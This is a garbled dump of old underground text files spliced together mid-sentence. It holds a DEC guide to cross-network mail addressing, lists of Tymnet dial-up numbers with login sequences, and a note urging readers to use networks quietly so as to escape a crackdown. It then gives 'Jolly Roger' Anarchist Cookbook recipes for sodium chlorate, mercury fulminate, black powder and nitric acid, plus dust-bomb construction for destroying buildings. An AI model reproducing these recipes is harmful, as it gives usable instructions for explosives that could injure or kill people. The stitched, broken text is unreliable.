  12655. interpret strange!foreign!address itself.  If you are typing such an address
  12656. inside a mail program, it will work as advertised.  If you are using DCL and
  12657. typing directly to the command line, you should beware that DCL likes to remove
  12658. quotes, so you will have to enclose the entire address in quotes, and then put
  12659. two quotes in every place that one quote should appear in the address:
  12660.  
  12661.     $ mail test.msg "nm%DECWRL::""foreign!addr""" /subj="hello"
  12662.  
  12663. Note the three quotes in a row after foreign!addr.  The first two of them are
  12664. doubled to produce a single quote in the address, and the third ends the
  12665. address itself (balancing the quote in front of the nm%).
  12666.  
  12667. ccre are some typical outgoing mail addresses as used from a VMS system:
  12668.  
  12669.     To: nm%DECWRL::"lll-winkin!netsys!phrack"
  12670.     To: nm%DECWRL::"postmaster@msp.pnet.sc.edu"
  12671.     To: nm%DECWRL::"netsys!phrack@uunet.uu.net"
  12672.     To: nm%DECWRL::"phrackserv@CUNYVM.bitnet"
  12673.     To: nm%DECWRL::"Chris.Jones@f654.n987.z1.fidonet.org"
  12674.  
  12675.  
  12676. * Sending from Ultrix
  12677.  
  12678. If your Ultrix system has been configured for it, then you can, from your
  12679. Ultrix system, just send directly to the foreign address, and the mail software
  12680. will take care of all of the gateway routing for you.  Most Ultrix systems in
  12681. Corporate Research and in the Palo Alto cluster are configured this way.
  12682.  
  12683. To find out whether your Ultrix system has been so configured, just try it and
  12684. see what happens.  If it doesn't work, you will receive notification almost
  12685. instantly.
  12686.  
  12687.     NOTE:  The Ultrix mail system is extremely flexible; it is almost
  12688.     completely configurable by the customer.  While this is valuable to
  12689.     customers, it makes it very difficult to write global instructions for
  12690.     the use of Ultrix mailers, because it is possible that the local changes
  12691.     have produced something quite unlike the vendor-delivered mailer.  One of
  12692.     the popular changes is to tinker with the meaning of quote characters (")
  12693.     in Ultrix addresses.  Some systems consider that these two addresses are
  12694.     the same:
  12695.  
  12696.         site1!site2!user@host.dec.com
  12697.  
  12698.     and
  12699.  
  12700.         "site1!site2!user"@host.dec.com
  12701.  
  12702.     while others are configured so that one form will work and the other
  12703.     will not.  All of these examples use the quotes.  If you have trouble
  12704.     getting the examples to work, please try them again without the quotes.
  12705.     Perhaps your Ultrix system is interpreting the quotes differently.
  12706.  
  12707. If your Ultrix system has an IP link to Palo Alto (type "/etc/ping
  12708. decwrl.dec.com" to find out if it does), then you can route your mail to the
  12709. gateway via IP.  This has the advantage that your Ultrix mail headers will
  12710. reach the gateway directly, instead of being translated into DECNET mail
  12711. headers and then back into Ultrix at the other end.  Do this as follows:
  12712.  
  12713.     To: "alien!address"@decwrl.dec.com
  12714.  
  12715. The quotes are necessary only if the alien address contains a ! character, but
  12716. they don't hurt if you use them unnecessarily.  If the alien address contains
  12717. an "@" character, you will need to change it into a "%" character.  For
  12718. example, to send via IP to joe@widget.org, you should address the mail
  12719.  
  12720.     To: "joe%widget.org"@decwrl.dec.com
  12721.  
  12722. If your Ultrix system has only a DECNET link to Palo Alto, then you should
  12723. address mail in much the same way that VMS users do, save that you should not
  12724. put the nm% in front of the address:
  12725.  
  12726.     To: DECWRL::"strange!foreign!address"
  12727.  
  12728. Here are some typical outgoing mail addresses as used from an Ultrix system
  12729. that has IP access.  Ultrix systems without IP access should use the same
  12730. syntax as VMS users, except that the nm% at the front of the address should not
  12731. be used.
  12732.  
  12733.     To: "lll-winken!netsys!phrack"@decwrl.dec.com
  12734.     To: "postmaster%msp.pnet.sc.edu"@decwrl.dec.com
  12735.     To: "phrackserv%CUNYVM.bitnet"@decwrl.dec.com
  12736.     To: "netsys!phrack%uunet.uu.net"@decwrl.dec.com
  12737.     To: "Chris.Jones@f654.n987.z1.fidonet.org"@decwrl.dec.com
  12738.  
  12739.  
  12740. DETAILS OF USING OTHER NETWORKS
  12741.  
  12742. All of the world's computer networks are connected together, more or less, so
  12743. it is hard to draw exact boundaries between them.  Precisely where the Internet
  12744. ends and UUCP begins is a matter of interpretation.
  12745.  
  12746. For purposes of sending mail, though, it is convenient to divide the network
  12747. universe into these categories:
  12748.  
  12749. Easynet         Digital's internal DECNET network.  Characterized by addresses
  12750.                 of the form NODE::USER.  Easynet can be used for commercial
  12751.                 purposes.
  12752.  
  12753. Internet        A collection of networks including the old ARPAnet, the NSFnet,
  12754.                 the CSnet, and others.  Most international research,
  12755.                 development, and educational organizations are connected in
  12756.                 some fashion to the Internet.  Characterized by addresses of
  12757.                 the form user@site.subdomain.domain.  The Internet itself
  12758.                 cannot be used for commercial purposes.
  12759.  
  12760. UUCP            A very primitive network with no management, built with
  12761.                 auto-dialers phoning one computer from another.  Characterized
  12762.                 by addresses of the form place1!place2!user.  The UUCP network
  12763.                 can be used for commercial purposes provided that none of the
  12764.                 sites through which the message is routed objects to that.
  12765.  
  12766. USENET          Not a network at all, but a layer of software built on top of
  12767.                 UUCP and Internet.
  12768.  
  12769. BITNET          An IBM-based network linking primarily educational sites.
  12770.                 Digital users can send to BITNET as if it were part of
  12771.                 Internet, but BITNET users need special instructions for
  12772.                 reversing the process.  BITNET cannot be used for commercial
  12773.                 purposes.
  12774.  
  12775. Fidonet         A network of personal computers.  I am unsure of the status of
  12776.                 using Fidonet for commercial purposes, nor am I sure of its
  12777.                 efficacy.
  12778.  
  12779.  
  12780. DOMAINS AND DOMAIN ADDRESSING
  12781.  
  12782. There is a particular network called "the Internet;" it is somewhat related to
  12783. what used to be "the ARPAnet."  The Internet style of addressing is flexible
  12784. enough that people use it for addressing other networks as well, with the
  12785. result that it is quite difficult to look at an address and tell just what
  12786. network it is likely to traverse.  But the phrase "Internet address" does not
  12787. mean "mail address of some computer on the Internet" but rather "mail address
  12788. in the style used by the Internet."  Terminology is even further confused
  12789. because the word "address" means one thing to people who build networks and
  12790. something entirely different to people who use them.  In this file an "address"
  12791. is something like "mike@decwrl.dec.com" and not "192.1.24.177" (which is what
  12792. network engineers would call an "internet address").
  12793.  
  12794. The Internet naming scheme uses hierarchical domains, which despite their title
  12795. are just a bookkeeping trick.  It doesn't really matter whether you say
  12796. NODE::USER or USER@NODE, but what happens when you connect two companies'
  12797. networks together and they both have a node ANCHOR??  You must, somehow,
  12798. specify which ANCHOR you mean.  You could say ANCHOR.DEC::USER or
  12799. DEC.ANCHOR::USER or USER@ANCHOR.DEC or USER@DEC.ANCHOR.  The Internet
  12800. convention is to say USER@ANCHOR.DEC, with the owner (DEC) after the name
  12801. (ANCHOR).
  12802.  
  12803. But there could be several different organizations named DEC.  You could have
  12804. Digital Equipment Corporation or Down East College or Disabled Education
  12805. Committee.  The technique that the Internet scheme uses to resolve conflicts
  12806. like this is to have hierarchical domains.  A normal domain isn't DEC or
  12807. STANFORD, but DEC.COM (commercial) and STANFORD.EDU (educational).  These
  12808. domains can be further divided into ZK3.DEC.COM or CS.STANFORD.EDU.  This
  12809. doesn't resolve conflicts completely, though:  both Central Michigan University
  12810. and Carnegie-Mellon University could claim to be CMU.EDU.  The rule is that the
  12811. owner of the EDU domain gets to decide, just as the owner of the CMU.EDU gets
  12812. to decide whether the Electrical Engineering department or the Elementary
  12813. Education department gets subdomain EE.CMU.EDU.
  12814.  
  12815. The domain scheme, while not perfect, is completely extensible.  If you have
  12816. two addresses that can potentially conflict, you can suffix some domain to the
  12817. end of them, thereby making, say, decwrl.UUCP be somehow different from
  12818. DECWRL.ENET.
  12819.  
  12820. DECWRL's entire mail system is organized according to Internet domains, and in
  12821. fact we handle all mail internally as if it were Internet mail.  Incoming mail
  12822. is converted into Internet mail, and then routed to the appropriate domain; if
  12823. that domain requires some conversion, then the mail is converted to the
  12824. requirements of the outbound domain as it passes through the gateway.  For
  12825. example, they put Easynet mail into the domain ENE           STATE           DENSITY  ACCESS NUMBER  NTWK
  12826.   -----   -------------------   --------------  ------   ------------   ----
  12827.   03306   BERKELEY              CALIFORNIA      300/1200 415-548-2121   @PPS
  12828.   06272   EL SEGUNDO            CALIFORNIA      300/1200 213-640-8548   @PPS
  12829.   06272   FULLERTON             CALIFORNIA      300/1200 714-441-2777   @PPS
  12830.   06272   INGLEWOOD             CALIFORNIA      300/1200 213-216-7667   @PPS
  12831.   06272   LOS ANGELES(DOWNTOWN) CALIFORNIA      300/1200 213-687-3727   @PPS
  12832.   06272   LOS ANGELES           CALIFORNIA      300/1200 213-480-1677   @PPS
  12833.   03306   MOUNTAIN VIEW         CALIFORNIA      300/1200 415-960-3363   @PPS
  12834.   03306   OAKLAND               CALIFORNIA      300/1200 415-893-9889   @PPS
  12835.   03306   PALO ALTO             CALIFORNIA      300/1200 415-325-4666   @PPS
  12836.   06272   PASADENA              CALIFORNIA      300/1200 818-356-0780   @PPS
  12837.   03306   SAN FRANCISCO         CALIFORNIA      300/1200 415-543-8275   @PPS
  12838.   03306   SAN FRANCISCO         CALIFORNIA      300/1200 415-626-5380   @PPS
  12839.   03306   SAN FRANCISCO         CALIFORNIA      300/1200 415-362-2280   @PPS
  12840.   03306   SAN JOSE              CALIFORNIA      300/1200 408-920-0888   @PPS
  12841.   06272   SANTA ANNA            CALIFORNIA      300/1200 714-972-9844   @PPS
  12842.   06272   VAN NUYS              CALIFORNIA      300/1200 818-780-1066   @PPS
  12843.  
  12844.  
  12845.     @PPS   PACIFIC BELL - NETWORK NAME IS PUBLIC PACKET SWITCHING (PPS)
  12846.  
  12847.              (CONNECT MESSAGE)
  12848.  
  12849.              . _. _. _< _C _R _             (SYNCHRONIZES DATA SPEEDS)>
  12850.                                 (DOES NOT ECHO TO THE TERMINAL)
  12851.  
  12852.              ONLINE 1200
  12853.              WELCOME TO PPS:  415-XXX-XXXX
  12854.              1 _3 _1 _0 _6 _9 _             (TYMNET ADDRESS)
  12855.                                 (DOES NOT ECHO UNTIL TYMNET RESPONDS)
  12856.  
  12857.          -GWY 0XXXX- TYMNET: PLEASE LOG IN:  (HOST # WITHIN DASHES)
  12858.  
  12859.                                SOUTHWESTERN BELL
  12860.  
  12861.   NODE    CITY                  STATE           DENSITY  ACCESS NUMBERS NWRK
  12862.   -----   --------------------  --------------  -------  ------------   -----
  12863.   05443   KANSAS CITY           KANSAS          300/1200 316/225-9951   @MRLK
  12864.   05443   HAYS                  KANSAS          300/1200 913/625-8100   @MRLK
  12865.   05443   HUTCHINSON            KANSAS          300/1200 316/669-1052   @MRLK
  12866.   05443   LAWRENCE              KANSAS          300/1200 913/841-5580   @MRLK
  12867.   05443   MANHATTAN             KANSAS          300/1200 913/539-9291   @MRLK
  12868.   05443   PARSONS               KANSAS          300/1200 316/421-0620   @MRLK
  12869.   05443   SALINA                KANSAS          300/1200 913/825-4547   @MRLK
  12870.   05443   TOPEKA                KANSAS          300/1200 913/235-1909   @MRLK
  12871.   05443   WICHITA               KANSAS          300/1200 316/269-1996   @MRLK
  12872.  
  12873.  
  12874.   04766   BRIDGETON/ST. LOUIS   MISSOURI        300/1200 314/622-0900   @MRLK
  12875.   04766   ST. LOUIS             MISSOURI        300/1200 314/622-0900   @MRLK
  12876.  
  12877.  
  12878.   06510   ADA                   OKLAHOMA        300/1200 405/436-0252   @MRLK
  12879.   06510   ALTUS                 OKLAHOMA        300/1200 405/477-0321   @MRLK
  12880.   06510   ALVA                  OKLAHOMA        300/1200 405/327-1441   @MRLK
  12881.   06510   ARDMORE               OKLAHOMA        300/1200 405/223-8086   @MRLK
  12882.   03167   BARTLESVILLE          OKLAHOMA        300/1200 918/336-6901   @MRLK
  12883.   06510   CLINTON               OKLAHOMA        300/1200 405/323-8102   @MRLK
  12884.   06510   DURANT                OKLAHOMA        300/1200 405/924-2680   @MRLK
  12885.   06510   ENID                  OKLAHOMA        300/1200 405/242-8221   @MRLK
  12886.   06510   LAWTON                OKLAHOMA        300/1200 405/248-8772   @MRLK
  12887.   03167   MCALESTER             OKLAHOMA        300/1200 918/426-0900   @MRLK
  12888.   03167   MIAMI                 OKLAHOMA        300/1200 918/540-1551   @MRLK
  12889.   03167   MUSKOGEE              OKLAHOMA        300/1200 918/683-1114   @MRLK
  12890.   06510   OKLAHOMA CITY         OKLAHOMA        300/1200 405/236-0660   @MRLK
  12891.   06510   PONCA CITY            OKLAHOMA        300/1200 405/762-9926   @MRLK
  12892.   03167   SALLISAW              OKLAHOMA        300/1200 918/775-7713   @MRLK
  12893.   06510   SHAWNEE               OKLAHOMA        300/1200 405/273-0053   @MRLK
  12894.   06510   STILLWATER            OKLAHOMA        300/1200 405/377-5500   @MRLK
  12895.   03167   TULSA                 OKLAHOMA        300/1200 918/583-6606   @MRLK
  12896.   06510   WOODWARD              OKLAHOMA        300/1200 405/256-9947   @MRLK
  12897.  
  12898.  
  12899.  
  12900.  
  12901.    @MRLK - SOUTHWESTERN BELL TELEPHONE- NETWORK NAME IS MICROLINK II(R)
  12902.  
  12903.              (CONNECT MESSAGE)
  12904.              (PLEASE TYPE YOUR TERMINAL IDENTIFIER)
  12905.  
  12906.              A _                  (YOUR TERMINAL IDENTIFIER)
  12907.  
  12908.              WELCOME TO MICROLINK II
  12909.              -XXXX:01-030-
  12910.              PLEASE LOG IN:
  12911.              .T < _C _R _> _            (USERNAME TO ACCESS TYMNET)
  12912.  
  12913.  
  12914.              HOST: CALL CONNECTED
  12915.  
  12916.              -GWY 0XXXX- TYMNET: PLEASE LOG IN:
  12917.  
  12918.  
  12919.                              SOUTHERN NEW ENGLAND
  12920.  
  12921. NODE    CITY                  STATE           DENSITY  ACCESS NUMBERS NWRK
  12922. -----   -------------------   -----------     -------  -------------- -----
  12923. 02727   BRIDGEPORT            CONNECTICUT     300/2400 203/366-6972   @CONNNET
  12924. 02727   BRISTOL               CONNECTICUT     300/2400 203/589-5100   @CONNNET
  12925. 02727   CANAAN                CONNECTICUT     300/2400 203/824-5103   @CONNNET
  12926. 02727   CLINTON               CONNECTICUT     300/2400 203/669-4243   @CONNNET
  12927. 02727   DANBURY               CONNECTICUT     300/2400 203/743-2906   @CONNNET
  12928. 02727   DANIELSON             CONNECTICUT     300/2400 203/779-1880   @CONNNET
  12929. 02727   HARTFORD/MIDDLETOWN   CONNECTICUT     300/2400 203/724-6219   @CONNNET
  12930. 02727   MERIDEN               CONNECTICUT     300/2400 203/237-3460   @CONNNET
  12931. 02727   NEW HAVEN             CONNECTICUT     300/2400 203/776-1142   @CONNNET
  12932. 02727   NEW LONDON            CONNECTICUT     300/2400 203/443-0884   @CONNNET
  12933. 02727   NEW MILFORD           CONNECTICUT     300/2400 203/355-0764   @CONNNET
  12934. 02727   NORWALK               CONNECTICUT     300/2400 203/866-5305   @CONNNET
  12935. 02727   OLD GREDDWICH         CONNNETICUT     300/2400 203/637-8872   @CONNNET
  12936. 02727   OLD SAYBROOK          CONNECTICUT     300/2400 203/388-0778   @CONNNET
  12937. 02727   SEYMOUR               CONNECTICUT     300/2400 203/881-1455   @CONNNET
  12938. 02727   STAMFORD              CONNECTICUT     300/2400 203/324-9701   @CONNNET
  12939. 02727   STORRS                CONNECTICUT     300/2400 203/429-4243   @CONNNET
  12940. 02727   TORRINGTON            CONNECTICUT     300/2400 203/482-9849   @CONNNET
  12941. 02727   WATERBURY             CONNECTICUT     300/2400 203/597-0064   @CONNNET
  12942. 02727   WILLIMANTIC           CONNECTICUT     300/2400 203/456-4552   @CONNNET
  12943. 02727   WINDSOR               CONNECTICUT     300/2400 203/688-9330   @CONNNET
  12944. 02727   WINDSOR LCKS/ENFIELD  CONNECTICUT     300/2400 203/623-9804   @CONNNET
  12945.  
  12946.  
  12947.  
  12948.     @CONNNET - SOUTHERN NEW ENGLAND TELEPHONE - NETWORK NAME IN CONNNET
  12949.  
  12950.      (CONNECT MESSAGE)
  12951.  
  12952.       H_ H_ <_ C_ R_>        (SYNCHRONIZES DATA SPEEDS)
  12953.                         (DOES NOT ECHO TO THE TERMINAL)
  12954.       CONNNET
  12955.  
  12956.      ._ T_ <_ C_ R_>_         (MUST BE CAPITAL LETTERS)
  12957.  
  12958.       26-SEP-88   18:33          (DATA)
  12959.       031069                     (ADDRESS CONFIRMATION)
  12960.       COM                        (CONFIRMATION OF CALL SET-UP)
  12961.  
  12962.       -GWY OXXXX-TYMNET: PLEASE LOG IN:
  12963.  
  12964. On a side note, the recent book The Cuckoo's Egg provides some interesting
  12965. information (in the form of a story, however) on a Tymnet hacker.  Remember
  12966. that he was into BIG things, and hence he was cracked down upon.  If you keep a
  12967. low profile, networks should provide a good access method.
  12968.  
  12969. If you can find a system that is connected to the Internet that you can get on
  12970. from Tymnet, you are doing well.
  12971. _______________________________________________________________________________
  12972.  
  12973. Username@f<node #>.n<net #>.z<zone #>.ifna.org
  12974.  
  12975. In other words, if I wanted to mail to Silicon Swindler at 1:135/5, the address
  12976. would be Silicon_Swindler@f5.n135.z1.ifna.org and, provided that your mailer
  12977. knows the .ifna.org domain, it should get through alright.  Apparently, as of
  12978. the writing of this article, they have implemented a new gateway name called
  12979. fidonet.org which should work in place of ifna.org in all routings.  If your
  12980. mailer does not know either of these domains, use the above routing but replace
  12981. the first "@" with a "%" and then afterwards, use either of the following
  12982. mailers after the "@":  CS.ORST.EDU or K9.CS.ORST.EDU (i.e. username%f<node
  12983. #>.n<net #>.z<zone #>.fidonet.org@CS.ORST.EDU [or replace CS.ORST.EDU with
  12984. K9.CS.ORST.EDU]).
  12985.  
  12986. The following is a list compiled by Bill Fenner (WCF@PSUECL.BITNET) that was
  12987. posted on INFONETS DIGEST which lists a number of FIDONET gateways:
  12988.  
  12989. Net      Node    Node Name
  12990. ~~~      ~~~~    ~~~~~~~~~
  12991. 104      56      milehi.ifna.org
  12992. 105      55      casper.ifna.org
  12993. 107      320     rubbs.ifna.org
  12994. 109      661     blkcat.ifna.org
  12995. 125      406     fidogate.ifna.org
  12996. 128      19      hipshk.ifna.org
  12997. 129      65      insight.ifna.org
  12998. 143      N/A     fidogate.ifna.org
  12999. 152      200     castle.ifna.org
  13000. 161      N/A     fidogate.ifna.org
  13001. 369      17      megasys.ifna.org
  13002.  
  13003. NOTE:  The UUCP equivalent node name is the first part of the node name.  In
  13004.        other words, the UUCP node milehi is listed as milehi.ifna.org but can
  13005.        be mailed directly over the UUCP network.
  13006.  
  13007. Another way to mail to FIDONET, specifically for Internet people, is in this
  13008. format:
  13009.  
  13010. ihnp4!necntc!ncoast!ohiont!<net #>!<node #>!user_name@husc6.harvard.edu
  13011.  
  13012. And for those UUCP mailing people out there, just use the path described and
  13013. ignore the @husc5.harvard.edu portion. There is a FIDONET NODELIST available on
  13014. most any FIDONET bulletin board, but it is quite large.
  13015.  
  13016. ONTYME
  13017. ~~~~~~
  13018. Previously known as Tymnet, OnTyme is the McDonnell Douglas revision.  After
  13019. they bought out Tymnet, they renamed the company and opened an experimental
  13020. Internet gateway at ONTYME.TYMNET.COM but this is supposedly only good for
  13021. certain corporate addresses within McDonnell Douglas and Tymnet, not their
  13022. customers.  The userid format is xx.yyy or xx.y/yy where xx is a net name and
  13023. yyy (or y/yy) is a true username.  If you cannot directly nail this, try:
  13024.  
  13025. xx.yyy%ONTYME.TYM
  13026. Sodium Chlorate                                by the Jolly Roger
  13027.  
  13028.      Sodium Chlorate is a strong oxidizer used in the manufacture of 
  13029. explosives. It can be used in place of Potassium Chlorate.
  13030.  
  13031. Material Required                            Sources
  13032. -----------------                            -------
  13033.  
  13034. 2 carbon or lead rods (1 in. diameter        Dry Cell Batteries
  13035. by 5 in. long)                               (2-1/2 in. diameter by
  13036.                                              7" long) or plumbing
  13037.                                              supply store
  13038. Salt, or ocean water                         Grocery store or ocean
  13039. Sulfuric acid, diluted                       Motor Vehicle Batteries
  13040. Motor Vehicle
  13041. Water
  13042. 2 wires, 16 gauge (3/64 in. diameter approx.), 6 ft. long, insulated.
  13043. Gasoline
  13044. 1 gallon glass jar, wide mouth (5 in. diameter by 6 in. high approx.)
  13045. Sticks
  13046. String
  13047. Teaspoon
  13048. Trays
  13049. Cup
  13050. Heavy cloth
  13051. Knife
  13052. Large flat pan or tray        
  13053.  
  13054. Procedure
  13055. ---------
  13056.  
  13057. 1) Mix 1/2 cup of salt into the one gallon glass jar with 3 litres (3 
  13058. quarts) of water.
  13059. 2) Add 2 teaspoons of battery acid to the solution and stir vigorously 
  13060. for 5 minutes.
  13061. 3) Strip about 4 inches of insulation from both ends of the two wires.
  13062. 4) With knife and sticks, shape 2 strips of wood 1 by 1/8 by 1-1/2. Tie 
  13063. the wood strips to the lead or carbon rods so that they are 1-1/2 incles 
  13064. apart.
  13065. 5) Connect the rods to the battery in a motor vehicle with the insulated 
  13066. wire.
  13067. 6) Submerge 4-1/2 inches of the rods in the salt water solution.
  13068. 7) With gear in neutral position, start the vehicle engine. Depress the 
  13069. accelerator approx. 1/5 of its full travel.
  13070. 8) Run the engine with the accelerator in this position for 2 hours, then 
  13071. shut it down for 2 hours.
  13072. 9) Repeat this cycle for a total of 64 hours while maintaining the level 
  13073. of the acid-salt water solution in the glass jar.
  13074.  
  13075. CAUTION: This arrangement employs voltages which can be quite dangerous! 
  13076. Do not touch bare wire leads while engine is running!!
  13077.  
  13078. 10) Shut off the engine. Remove the rods from the glass jar and 
  13079. disconnect wire leads from the battery.
  13080. 11) Filter the solution through the heavy cloth into a flat pan or tray, 
  13081. leaving the sediment at the bottom of the glass jar.
  13082. 12) Allow the water in the filtered solution to evaporate at room 
  13083. temperature (approx. 16 hours). The residue is approximately 60% or more 
  13084. sodium chlorate which is pure enough to be used as an explosive 
  13085. ingredient.
  13086.  
  13087.                          ---------------Jolly Roger
  13088.  
  13089.  
  13090.  
  13091. Mercury Fulminate                                 by the Jolly Roger
  13092.  
  13093.      Mercury Fulminate is used as a primary explosive in the fabrication 
  13094. of detonators. It is to be used with a booster explosive such as picric 
  13095. acid or RDX (which are elsewhere in this Cookbook).
  13096.  
  13097. Material Required                                 Source
  13098. -----------------                                 ------
  13099.  
  13100. Nitric Acid, 90% conc. (1.48 sp. gr)              Elsewhere in this
  13101.                                                   Cookbook, or in
  13102.                                                   industrial metal
  13103.                                                   processors
  13104. Mercury                                           Thermometers, 
  13105.                                                   mercury switches,
  13106.                                                   old radio tubes
  13107. Ethyl (grain) alcohol (90%)
  13108. Filtering material                                Paper towels
  13109. Teaspoon measure (1/4, 1/2. and 1 tsp.
  13110.      capacity)-aluminum, stainless steel
  13111.      or wax coated
  13112. Heat Source
  13113. Clean wooden stick
  13114. Clean water
  13115. Glass containers
  13116. Tape
  13117. Syringe
  13118.  
  13119. Procedure:
  13120. ---------
  13121.  
  13122. 1) Dilute 5 teaspoons of nitric acid with 2-1/2 teaspoons of clean water 
  13123. in a glass container by adding the acid to the water.
  13124. 2) Dissolve 1/8 teaspoon of mercury in the diluted nitric acid. This 
  13125. will yield dark red fumes. NOTE: It may be necessary to add water, on 
  13126. drop at a time, to the mercury-acid solution in order to start a 
  13127. reaction.
  13128.  
  13129. CAUTION: Acid will burn skin and destroy clothing. If any is spilled, 
  13130. wash it away with a large quantity of water. Do NOT inhale fumes!
  13131.  
  13132. 3) Warm 10 teaspoons of the alcohol in a container until the alcohol 
  13133. feels warm to the inside of the wrist.
  13134. 4) Pour the metal-acid solution into the warm alcohol. Reaction should 
  13135. start in less than 5 minutes. Dense white fumes will be given off during 
  13136. the reaction. As time lapses, the fumes will become less dense. Allow 10 
  13137. to 15 minutes to complete reaction. Fulminate will settle to the bottom.
  13138.  
  13139. CAUTION: This reaction generates large quantities of toxic, flammable 
  13140. fumes. The process MUST be conducted outdoors or in a well-ventilated 
  13141. area, away from sparks or open flames. DO NOT inhale fumes!
  13142.  
  13143. 5) Filter the solution through a paper towel into a container. Crystals 
  13144. may stick to the side of the container. If so, tilt and squirt water 
  13145. down the sides of the container until all of the material collects on 
  13146. the filter paper.
  13147. 6) Wash the crystals with 6 teaspoons of ethyl alcohol.
  13148. 7) Allow these mercury fulminate crystals to air dry.
  13149.  
  13150. CAUTION: Handle dry explosive with great care. Do not scrape or handle 
  13151. it roughly! Keep away from sparks or open flames. Store in a cool, dry 
  13152. place.
  13153.  
  13154.                              ----------------Jolly Roger
  13155.  
  13156.  
  13157.  
  13158. Improvised Black Powder                             by the Jolly Roger
  13159.  
  13160.      Black powder can be prepared in a simple, safe manner. It may be used as 
  13161. blasting or gun powder.
  13162.  
  13163. Material Required
  13164. -----------------
  13165.  
  13166. Potassium Nitrate, granulated, 3 cups (3/4 liter)
  13167. Wood charcoal, powdered, 2 cups
  13168. Sulfur, powdered, 1/2 cup
  13169. Alcohol, 5 pints (2-1/2 liters) (whiskey, rubbing alcohol, etc.)
  13170. Water, 3 cups (3/4 liter)
  13171. Heat source
  13172. 2 buckets - each 2 gallon (7-1/2 litres) capacity, at least one of which is 
  13173.      heat resistant (metal, ceramic, etc.)
  13174. Flat window screening, at least 1 foot (30 cm) square
  13175. Large wooden stick
  13176. Cloth, at leat 2 feet (60 cm) square
  13177.  
  13178. Procedure:
  13179. ---------
  13180.  
  13181. 1) Place alcohol in one of the buckets.
  13182. 2) Place potassium nitrate, charcoal, and sulfur in the heat resistant 
  13183. bucket. Add 1 cup water and mix thoroughly with wooden stick until all 
  13184. ingrediants are dissolved.
  13185. 3) Add remaining water (2 cups) to mixture. Place bucket on heat source and 
  13186. stir until small bubbles begin to form.
  13187.  
  13188. CAUTION: DO NOT boil mixture. Be sure ALL mixture stays wet. If any is dry, 
  13189. as on sides of pan, it may ignite!
  13190.  
  13191. 4) Remove bucket from heat and pour mixture into alcohol while stirring 
  13192. vigorously.
  13193. 5) Let alcohol mixture stand about 5 minutes. Strain mixture through cloth to 
  13194. obtain black powder. Discard liquid. Wrap cloth around black powder and 
  13195. squeeze to remove all excess liquid.
  13196. 6) Place screening over dry bucket. Place workable amount of damp powder on 
  13197. screen and granulate by rubbing solid through screen. NOTE: If granulated 
  13198. particles appear to stick together and change shape, recombine entire batch 
  13199. of powder and repeat steps 5 & 6.
  13200. 7) Spread granulated black powder on flat, dry surface so that layer about 
  13201. 1/2 inch (1-1/4 cm) is formed. Allow to dry. Use radiator, or direct 
  13202. sunlight. This should be dried as soon as possible, preferably in an hour. 
  13203. The longer the drying period, the less effective the black powder.
  13204.  
  13205. CAUTION: Remove from heat AS SOON AS granules are dry. Black powder isnow 
  13206. ready to use.
  13207.  
  13208. Nitric Acid                                     by the Jolly Roger
  13209.  
  13210.      Nitric Acid is used in the preparation of many explosives, incediary 
  13211. mixtures, and acid delay timers. It may be prepared by distilling a mixture 
  13212. of potassium nitrate and concentrated sulfuric acid.
  13213.  
  13214. Material Required                                 Sources
  13215. -----------------                                 -------
  13216. Potassium Nitrate (2 parts by volume)             Elsewhere in this
  13217.                                                   Cookbook, or drug store
  13218. CONCENTRATED sulfuric acid (1 part by volume)     Motor vehicle batteries
  13219.                                                   Industrial plants
  13220. 2 bottles or ceramin jugs (narrow necks are
  13221.      preferable)
  13222. Pot or frying pan
  13223. Heat source (wood, charcoal, or coal)
  13224. Tape (paper, electrical, masking, but NOT cellophane!)
  13225. Paper or rags
  13226.  
  13227. IMPORTANT: If sulfuric acid is obtained from a motor vehicle battery, 
  13228. concentrate it by boiling it UNTIL white fumes appear. DO NOT INHALE FUMES
  13229.  
  13230. NOTE: The amount of nitric acid produced is th same as the amount of 
  13231. potassium nitrate. Thus, for two tablespoons of nitric acid, use 2 
  13232. tablespoons of potassium nitrate and 1 tablespoonful of concentrated sulfuric 
  13233. acid.
  13234.  
  13235. Procedure:
  13236. ---------
  13237.  
  13238. 1) Place dry potassium nitrate in bottle or jug. Add sulfuric acid. Do not 
  13239. fill the bottle more than 1/4 full. Mix until paste is formed.
  13240.  
  13241. CAUTION: DO NOT INHALE FUMES!
  13242.  
  13243. 2) Wrap paper or rags around necks of two bottles. securly tape necks of two 
  13244. bottles together. Be sure that bottles are flush against each other and that 
  13245. there are no air spaces.
  13246. 3) Support bottles on rocks or cans so that empty bottle is SLIGHTLY lower 
  13247. than bottle containing paste so that nitric acid that is formed in receiving 
  13248. bottle will not run into other bottle.
  13249. 4) Build fire in pot or frying pan.
  13250. 5) Gently heat bottle containing mixture by gently moving fire in and out. As 
  13251. red fumes begin to appear periodically pour cool water over empty receiving 
  13252. bottle. Nitric acid will befin to form in receiving bottle.
  13253.  
  13254. CAUTION: Do not overheat or wet bottle containing mixture or it may shatter. 
  13255. As an added precaution, place bottle to be heated in heat resistant container 
  13256. filled with sand or gravel. Heat this outer container to produce nitric acid.
  13257.  
  13258. 6) Continue the above process until no more red fumes are formed. If the 
  13259. nitric acid formed in the receiving bottle is not clear (cloudy) pour it into 
  13260. cleaned bottle and repeat steps 2-6.
  13261.  
  13262. CAUTION: Nitric acid should be ket away from all combustables and should be 
  13263. kept in a SEALED CERAMIC OR GLASS container. DO NOT inhale fumes!
  13264.  
  13265.                               ----------------Jolly Roger
  13266.  
  13267.  
  13268. Dust Bomb Instructions                               by the Jolly Roger
  13269.  
  13270.      An initiator which will initiate common material to produce dust 
  13271. explosions can be rapidly and easily constructed. This type of charge is 
  13272. ideal for the destruction of enclosed areas such as rooms or buildings.
  13273.  
  13274. Material Required
  13275. -----------------
  13276. A flat can, 3 in. (8 cm) in diameter and 1-1/2 in. (3-3/4 cm) high. A 6-
  13277.      1/2 ounce tuna can serves the purpose quite well.
  13278. Blasting cap
  13279. Explosive
  13280. Aluminum (may be wire, cut sheet, flattened can, or powder)
  13281. Large nail, 4 in. (10 cm) long
  13282. Wooden rod - 1/4 in. (6 mm) diameter
  13283. Flour, gasoline, and powder or chipped aluminum
  13284.  
  13285. NOTE: Plastic explosive produce better explosions than cast explosives.
  13286.  
  13287. Procedure:
  13288. ---------
  13289.  
  13290. 1) Using the nail, press a hole through the side of the tuna can 3/8 inch 
  13291. to 1/2 inch (1 to 1-1/2 cm) from the bottom. Using a rotating and lever 
  13292. action, enlarge the hole until it will accomodate the blasting cap.
  13293. 2) Place the wooden rod in the hole and position the end of the rod at the 
  13294. center of the can.
  13295. 3) Press explosive into the can, being sure to surround the rod, until it 
